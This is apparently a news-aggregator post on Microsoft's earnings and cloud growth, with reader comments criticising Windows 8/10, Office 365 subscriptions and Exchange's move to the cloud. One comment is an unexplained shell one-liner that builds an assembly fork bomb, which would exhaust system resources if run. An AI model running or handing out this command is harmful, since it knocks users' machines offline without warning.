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Microsoft's Cloud Bet Continues To Pay Off In Latest Earnings (theverge.com)
In its 2018 financial results, Microsoft reported revenue of $28.9 billion and net income of $7.5 billion. "Revenue has jumped 12 percent year-over-year during the holiday quarter, and the trend of Microsoft's success with the cloud has continued," reports The Verge. "This time around, Azure revenue has increased by a massive 98 percent." From the report: Overall server and cloud services revenue grew 18 percent year-over-year, alongside the massive 98 percent jump in Azure revenue. It's clear Microsoft's future growth and revenue opportunities are with the cloud, so it's no surprise to see the company continually investing there to be competitive with Amazon. Microsoft's Office 365 subscription bet for consumers is also paying off. 29.2 million people are now using Office 365 on the consumer side, with revenue increasing 12 percent year-over-year for Office consumer and cloud. On the commercial side, Office revenue is also up at a 10 percent increase since the same period last year.
Microsoft shot itself in the foot with the clusterfuck that was the Windows 8 "no start button" UI - nobody using Windows wanted the Win 7 interface changed significantly, and certainly not in the horrible way Win 8 did it. Win 7 was a good OS, and worked fine for just about any task. Windows 8 was, to put it bluntly, unusable. Almost like somebody sat down and said "lets inflict as much pain and inconvenience on the user as possible". Then, MS wanted everybody to pay again for Windows 10, and imposed all sorts of crap on people with Win 10 - upgrades that happen on their own, telemetry that can't be switched off, privacy settings that seem to do nothing - and so on and so forth. All while giving people a release 10 that was inferior in many ways to release 7, which by this time ran lightning fast on current hardware. Microsoft's CEO comes from a cloud-engineering background and is an "all cloud all the time" sort of guy. Is this good for consumers? No. But it is good for OSX and Linux. I've been on Windows for 20+ years, and I'm also considering going over to Linux. I also don't want my office documents or other personal stuff in anybody's datacenter. So Office 365 is totally unattractive to me, whereas LibreOffice for example is looking better and better to me all the time. Perhaps MS should get a new CEO who isn't cloud-crazy.
Why did the chicken cross the road? Because Elon Musk put an AI chip in its head.
Apple also paid a one time $38 billion tax bill to bring overseas money back into the country. Where it will employ people and generate profits that are taxed
https://www.bloomberg.com/news...
It's almost like reducing corporate tax rates increases economic activity and future tax revenues or something.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I work for a small VAR and other than Office 365, almost nobody is interested in Microsoft cloud systems.
I wouldn't call it "interest".
Microsoft has announced that Exchange 2016 will be the final version released as software, with the only upgrade path being Exchange 365 as a service.
So while Exch 2016 is still under support, once it hits EOL you can't just buy the newest version to upgrade to, you must migrate to their cloud services.
This leaves companies with two main options.
A) Begin work on migrating away from Exchange completely, or
B) Begin work on migrating into their cloud services.
C) is to just remain on 2016 along with other security mitigation (typically another MTA between the Internet and Exchange)
Since both are major changes in infrastructure, most everyone is starting on their plan earlier than usual. This is one time you can't wait to the last minute and then just throw money at the problem for an easy fix.
The third option is always on the table but brings with it the risk of major exploits not getting patched and being vulnerable to insiders.
I've also noticed some retail stores no longer carrying Office 2016 in box form, or only sell the license key card that is good for one installation. Also that isn't for an "installation on one PC", it's literally for "one installation"
HD/SSD die and need to reinstall Windows from recovery media? You've used up your one Office installation already so time to purchase another!
While that one doesn't effect the enterprise licensed editions of Office (yet?), many home users seem to be going with Office 365 thinking it is the cheaper option and lets them retain access to Office if they repair or replace their home computer.
And the costs are high, once you pass about 40 users on-premise is actually cheaper, and more so as your numbers increase.
Well of course on-premise is cheaper. The whole point of all this cloud/subscription bullshit is to charge you more.
For example, at home I still use Microsoft Office 2003. Why? It works and it does everything I need. (and beginning with Office 2007, Microsoft started fucking up the UI)
And, if had purchased it under Microsoft's current $100 a year subscription plan, I would have paid $1500 so far. For what? Nobody has invented any new word-processing/spreadsheet tasks that can't be done with my old copy of Office.
So, Microsoft has to find a way to squeeze more money out of people.
How does one pronounce "azure"?
Presumably it's pronounced like the color